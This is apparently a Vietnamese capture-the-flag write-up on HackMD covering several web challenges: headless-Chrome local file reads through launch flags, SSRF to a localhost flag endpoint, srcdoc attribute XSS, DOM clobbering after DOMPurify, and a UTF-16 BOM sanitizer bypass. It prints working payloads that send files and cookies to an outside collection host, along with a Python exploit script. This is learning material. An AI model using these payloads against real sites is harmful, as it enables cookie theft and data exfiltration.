--performance --picker-feature-key --playready-key-system --policy --ppapi --ppapi-antialiased-text-enabled --ppapi-in-process --ppapi-plugin-launcher --ppapi-startup-dialog --ppapi-subpixel-rendering-setting --prediction-service-mock-likelihood --preinstalled-web-apps-dir --prevent-kiosk-autolaunch-for-testing --prevent-resizing-contents-for-testing --previous-app --printing-ppd-channel --print_backend --print_compositor --privacy-policy-host-for-tests --private-aggregation-developer-mode --privet-ipv6-only --process-per-site --process-per-tab --production --profile-base-name --profile-directory --profile-email --profile-management-attributes --profile-requires-policy --profiling-at-start --profiling-file --profiling-flush --protected-audiences-consented-debug-token --proxy-auto-detect --proxy-bypass-list --proxy-pac-url --proxy-server --proxy_resolver_win --pseudo --public-accounts-saml-acl-url --purge-model-and-features-store --purge-optimization-guide-store --pwa-launcher-version --qs-add-fake-bluetooth-devices --qs-add-fake-cast-devices --qs-show-locale-tile --query-tiles-enable-trending --query-tiles-instant-background-task --query-tiles-rank-tiles --query-tiles-single-tier --quota-change-event-interval --raise-timer-frequency --rdp_desktop_session --reader-mode-feedback --reader-mode-heuristics --realtime-reporting-url --redirect-libassistant-logging --reduce-user-agent-minor-version --reduce-user-agent-platform-oscpu --register-max-dark-suspend-delay --register-pepper-plugins --regulatory-label-dir --relauncher --remote-allow-origins --remote-debug-mode --remote-debugging-address --remote-debugging-io-pipes --remote-debugging-port --remote-debugging-socket-name --remote-debugging-targets --remote-reboot-command-timeout-in-seconds-for-testing --renderer --renderer-client-id --renderer-cmd-prefix --renderer-process-limit --renderer-sampling --renderer-wait-for-java-debugger --renderpass --report-vp9-as-an-unsupported-mime-type --request-desktop-sites --require-wlan --reset-browsing-instance-between-tests --reset-variation-state --restart --restore-key-on-lock-screen --restore-last-session --restrict-gamepad-access --reven-branding --rlz-ping-delay --rtl --run-all-compositor-stages-before-draw --run-web-tests --safe-mode --safebrowsing-enable-enhanced-protection --safebrowsing-manual-download-blacklist --saml-password-change-url --sandbox-ipc --save-page-as-mhtml --scheduled-reboot-grace-period-in-seconds-for-testing --scheduler-boost-urgent --scheduler-configuration --scheduler-configuration-default --screen-capture-audio-default-unchecked --screen-config --screen_ai --seal-key --search-engine-choice-country --search-provider-logo-url --secondary-display-layout --secure-connect-api-url --service --service-name --service-request-attachment-name --service-sandbox-type --service_with_jit --set-extension-throttle-test-params --setup --shader-cache-path --shared-array-buffer-unrestricted-access-allowed --shared-files --shelf-hotseat --shill-stub --short-merge-session-timeout-for-test --short-reporting-delay --show-aggregated-damage --show-autofill-signatures --show-autofill-type-predictions --show-component-extension-options --show-composited-layer-borders --show-dc-layer-debug-borders --show-icons --show-layer-animation-bounds --show-layout-shift-regions --show-login-dev-overlay --show-mac-overlay-borders --show-oobe-dev-overlay --show-oobe-quick-start-debugger --show-overdraw-feedback --show-paint-rects --show-property-changed-rects --show-screenspace-rects --show-surface-damage-rects --show-taps --signed-out-ntp-modules --simulate-browsing-data-lifetime --simulate-critical-update --simulate-elevated-recovery --simulate-idle-timeout --simulate-outdated --simulate-outdated-no-au --simulate-update-error-code --simulate-update-hresult --simulate-upgrade --single-process --site-per-process --skia-font-cache-limit-mb --skia-graphite-backend --skia-resource-cache-limit-mb --skip-force-online-signin-for-testing --skip-multidevice-screen --skip-reorder-nudge-show-threshold-duration --slow-down-compositing-scale-factor --slow-down-raster-scale-factor --sms-test-messages --source-shortcut --speech_recognition --ssl-key-log-file --ssl-version-max --ssl-version-min --stabilize-time-dependent-view-for-tests --stable-release-mode --staging --start-fullscreen --start-stack-profiler --start-stack-profiler-with-java-name-hashing --storage-pressure-notification-interval --stub --supports-clamshell-auto-rotation --suppress-message-center-popups --surface --swiftshader --swiftshader-webgl --sys-info-file-path --system-aec-enabled --system-developer-mode --system-font-family --system-gesture-start-height --system-gesture-start-width --system-log-upload-frequency --telemetry-extension-dir --test-child-process --test-encryption-migration-ui --test-gl-lib --test-memory-log-delay-in-minutes --test-name --test-third-party-cookie-phaseout --test-type --test-wallpaper-server --tether-host-scans-ignore-wired-connections --tether-stub --third-party-doodle-url --time-before-onboarding-survey-in-seconds-for-testing --time-ticks-at-unix-epoch --time-zone-for-testing --tint-composited-content --tint-composited-content-modulate --tls1.2 --tls1.3 --top-chrome-touch-ui --top-controls-hide-threshold --top-controls-show-threshold --touch-devices --touch-events --touch-selection-strategy --touch-slop-distance --touchscreen-usable-while-screen-off --touch_view --tpm-is-dynamic --trace-config-file --trace-smb-size --trace-startup --trace-startup-duration --trace-startup-enable-privacy-filtering --trace-startup-file --trace-startup-format --trace-startup-owner --trace-startup-record-mode --trace-to-file --trace-to-file-name --translate-ranker-model-url --translate-script-url --translate-security-origin --true --trusted-download-sources --try-supported-channel-layouts --tts --ui-disable-partial-swap --ui-disable-zero-copy --ui-enable-rgba-4444-textures --ui-enable-zero-copy --ui-show-composited-layer-borders --ui-show-fps-counter --ui-show-layer-animation-bounds --ui-show-paint-rects --ui-show-property-changed-rects --ui-show-screenspace-rects --ui-show-surface-damage-rects --ui-slow-animations --ui-toolkit --ukm-server-url --uma-insecure-server-url --uma-server-url --unfiltered-bluetooth-devices --uninstall --uninstall-app-id --unlimited-storage --unsafely-allow-protected-media-identifier-for-domain --unsafely-treat-insecure-origin-as-secure --use-adapter-luid --use-angle --use-cast-browser-pref-config --use-cmd-decoder --use-cras --use-fake-codec-for-peer-connection --use-fake-cras-audio-client-for-dbus --use-fake-device-for-media-stream --use-fake-mjpeg-decode-accelerator --use-fake-ui-for-fedcm --use-file-for-fake-audio-capture --use-file-for-fake-video-capture --use-first-display-as-internal --use-first-party-set --use-gl --use-gpu-high-thread-priority-for-perf-tests --use-gpu-in-tests --use-heap-profiling-proto-writer --use-legacy-metrics-service --use-mobile-user-agent --use-mock-cert-verifier-for-testing --use-mock-keychain --use-related-website-set --use-system-clipboard --use-system-default-printer --use-system-proxy-resolver --use-va-dev-keys --use-vulkan --use-wayland-explicit-grab --user-agent --user-agent-product --user-data-migrated --user-gesture-required --utility --utility-and-browser --utility-cmd-prefix --utility-sampling --utility-sub-type --v --v8-cache-options --validate-input-event-stream --validating --variations-insecure-server-url --variations-override-country --variations-seed-fetch-interval --variations-seed-version --variations-server-url --verbose-logging-in-nacl --video-capture-use-gpu-memory-buffer --video-image-texture-target --video-threads --video_capture --view-stack-traces --viz-demo-use-gpu --vmodule --vsync-interval --vulkan --vulkan-heap-memory-limit-mb --vulkan-sync-cpu-memory-limit-mb --wait-for-debugger-webui --wallet-service-use-sandbox --waveout-buffers --web-otp-backend --web-otp-backend-auto --web-otp-backend-sms-verification --web-otp-backend-user-consent --web-sql-access --web-ui-data-source-path-for-testing --webapk-server-url --webauthn-permit-enterprise-attestation --webauthn-remote-desktop-support --webauthn-remote-proxied-requests-allowed-additional-origin --webgl-antialiasing-mode --webgl-msaa-sample-count --webrtc-event-log-proactive-pruning-delta --webrtc-event-log-upload-delay-ms --webrtc-event-log-upload-no-suppression --webrtc-event-logging --webrtc-ip-handling-policy --webview-disable-app-recovery --webview-disable-safebrowsing-support --webview-draw-functor-uses-vulkan --webview-enable-app-recovery --webview-enable-modern-cookie-same-site --webview-enable-trust-tokens-component --webview-log-js-console-messages --webview-safebrowsing-block-all-resources --webview-sandboxed-renderer --webview-selective-image-inversion-darkening --webview-tpcd-metadata-component --webview-verbose-logging --win-jumplist-action --window-name --window-position --window-size --window-workspace --winhttp-proxy-resolver --wm-window-animations-disabled --xr_compositing --xsession_chooser --yuy2 --zygote
Trong đó có options đáng chú ý là --allow-file-access-from-files
https://stackoverflow.com/questions/18586921/how-to-launch-html-using-chrome-at-allow-file-access-from-files-mode
=> đọc được file local với mục tiêu là /flag.txt
Upload file html:
<!DOCTYPE html>
<html lang="en">
<head>
<title>sol</title>
</head>
<body>
<script>
fetch('/flag.txt')
.then(response => response.text())
.then(data => {
fetch('http://n1gqw31n.requestrepo.com', {
method: 'POST',
body: data
});
});
</script>
</body>
</html>
Kết quả:
Đây là bài 2 của bài trên, khác ở chỗ bài này nhập vào URL thay vì upload file:
Kiểm tra URL:
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
return res.status(400).send('Invalid URL');
}
Sau đó chạy câu lệnh
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${url}"`;
Mục tiêu là truy cập vào /flag
:
app.get('/flag', (req, res) => {
if (req.connection.remoteAddress === '::ffff:127.0.0.1' || req.connection.remoteAddress === "::1") return res.send(flag);
res.send(`Nope! Your IP (${req.connection.remoteAddress}) is not localhost!`);
})
Host file tương tự bài trên
<!DOCTYPE html>
<html lang="en">
<head>
<title>sol</title>
</head>
<body>
<script>
fetch('http://127.0.0.1:1337/flag')
.then(response => response.text())
.then(data => {
fetch('https://n1gqw31n.requestrepo.com/', {
method: 'POST',
body: data
});
});
</script>
</body>
</html>
Kết quả:
Đây là chall XSS.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Refined Note Taking App</title>
<link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.1.4/dist/purify.min.js"></script>
<script defer src="/static/index.js"></script>
</head>
<body class="bg-gray-100 p-4">
<div class="max-w-lg mx-auto">
<h1 class="text-2xl font-bold mb-4">Refined Note Taking App</h1>
<div id="container" class="mb-4 flex flex-col">
<iframe id="noteframe" class=" bg-white w-full px-3 py-2 border rounded-md h-60" srcdoc=""></iframe>
<textarea type="text" id="note" class="hidden w-full px-3 py-2 border rounded-md h-60" placeholder="Enter your note here"></textarea>
<button id="submit" class="hidden mt-2 px-4 py-2 bg-blue-500 text-white rounded-md">Add Note</button>
</div>
</div>
</body>
Xử lý:
submit.addEventListener('click', (e) => {
const purified = DOMPurify.sanitize(note.value);
fetch("/", {
method: "POST",
body: purified
}).then(response => response.text()).then((id) => {
window.history.pushState({page: ''}, id, `/${id}`);
submit.classList.add('hidden');
note.classList.add('hidden');
noteframe.classList.remove('hidden');
noteframe.srcdoc = purified;
});
});
Tuy nhiên nội dung được đưa vào srcdoc
:
=> XSS
Payload:
" onload="fetch('https://n1gqw31n.requestrepo.com'+document.cookie)
Kết quả:
intended
Sử dụng html encode tại srcdoc:
<img src=x:x onerror=alert(1)>
https://github.com/apostrophecms/sanitize-html/issues/217
XSS tại đây
app.post('/chal', (req, res) => {
let { flag, html } = req.body;
// don't xss
html = DOMPurify.sanitize(html);
// don't close/open the body tag
html = html.replace(/<body>|<\/body>/g, '');
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self';");
res.send(`
<head>
<script async defer src="/removeFlag.js"></script>
</head>
<body>
<div class="flag">${flag}</div>
${html}
</body>
`);
});
html
được sẽ xóa <body>
hoặc </body>
sau khi xử lý qua Dompurify.
Khi render ra html thì /removeFlag.js
cũng sẽ thực thi
app.get('/removeFlag.js', (req, res) => {
res.type('.js');
res.send(`try {
let els = document.body.querySelectorAll('.flag');
if (els.length !== 1) throw "nope";
els[0].remove();
} catch(e) { location = 'https://duckduckgo.com/?q=no+cheating+allowed&iax=images&ia=images' }`);
});
Nó lấy ra tag có class
là flag
, nếu khác 1 giá trị thì throw "nope"
còn không thì remove nó - tag chứ flag, vì vậy con bot đi qua cũng k capture lại được:
app.post('/admin', async (req, res) => {
try {
const { solve } = req.body;
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
// go to localhost:1337, type flag and html, click submit
const page = await browser.newPage();
await page.goto('http://localhost:1337/');
await page.type('input[name="flag"]', flag.trim());
await page.type('input[name="html"]', solve.trim());
await page.click('button[type="submit"]');
await new Promise(resolve => setTimeout(resolve, 5000));
// make sure js execution isn't blocked
await page.waitForFunction('true')
// take a screenshot
const screenshot = await page.screenshot({ encoding: 'base64' });
await browser.close();
res.send(`<img src="data:image/png;base64,${screenshot}" />`);
} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
Việc tìm cách để nhìn flag trước khi bị remove cũng khó vì nó đã bị timeout 5s trước khi load ra hết.
Mục tiêu vẫn là thực thi được đoạn script không đúng cách, Dom Clebbering là kỹ thuật được dùng => ghi đè: document.body.querySelectorAll('.flag')
Nhìn vào phía trên kia, lợi dụng việc Dompurify thực hiện sanitize trước khi replace tag body
để bypass.
Payload:
<form name="body<body>"><div class=flag></form>
tag body
sẽ giúp bypass được việc check dompurify, tag div
kia sẽ là tag bị remove thay vì tag flag thật.
Khi đó document.body
trở thành:
Và document.body.querySelectorAll('.flag')
sẽ lấy ra tag có class là flag
trong form đó và chỉ có tag đó nên length là 1:
Kết quả là tag scipt thật không bị remove:
Giờ chỉ viếc lấy flag:
Source:
const DOMPurify = require('dompurify')(new (require('jsdom').JSDOM)('').window); // the only dependency!
require('fs').mkdirSync('notes', { recursive: true });
require('http').createServer((req, res) => { try {
if (req.url === "/") {
res.setHeader('Content-Type', 'text/html');
res.end(`<textarea id="content"></textarea><br><button onclick="location='/submit?'+encodeURIComponent(content.value)">Submit`)
} else if (req.url.startsWith("/submit")) {
const content = decodeURIComponent(req.url.split('submit?')[1]);
const id = require('crypto').randomBytes(16).toString('hex');
require('fs').writeFileSync(`notes/${id}.html`, DOMPurify.sanitize(content), "utf-16le");
res.setHeader("Location", `/notes/${id}`); res.statusCode = 302; res.end();
} else if (req.url.startsWith("/notes/")) {
const id = (req.url.split('/notes/')[1]).match(/^[a-f0-9]{32}$/);
res.setHeader('Content-Type', 'text/html; charset=utf-16le');
res.end(require('fs').readFileSync(`notes/${id}.html`));
} } catch(e) {console.log(e)}}).listen(1337);
Nhìn qua cũng biết liên quan đến utf-16-le
, hiểu 1 cách đơn gian là do Dompurify và Chrome không thể xử lý an toàn được.
Script:
# thx to https://stackoverflow.com/a/7103606 for pointing me in the right direction
# see https://html.spec.whatwg.org/multipage/parsing.html#determining-the-character-encoding point 1
# TLDR:
import requests
URL = "https://sweet-dreams-are-made-of-this--vula-7990.ctf.kitctf.de"
payload = "\ufeff<script>document.write(document.cookie)</script>"
be = payload.encode("utf-16-le")
swapped = b"".join(bytes([y, x]) for x, y in zip(be[::2], be[1::2]))
print(
swapped, swapped.decode("utf-16-le"), swapped.decode("utf-16-be")
) # the 2nd arg is what DOMPurify sees, the 3rd arg is what the browser sees
note = requests.post(url=URL+ "/submit?" + swapped.decode("utf-16-le"),).url
print(note)
BOM (Byte Order Mark) sniffing là một quá trình dùng để xác định mã hóa của một tài liệu văn bản dựa trên một dãy byte đặc biệt nằm ở đầu tài liệu. BOM giúp chỉ định thứ tự byte trong mã hóa ký tự, đặc biệt là trong các tài liệu Unicode. Dưới đây là chi tiết về BOM sniffing
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up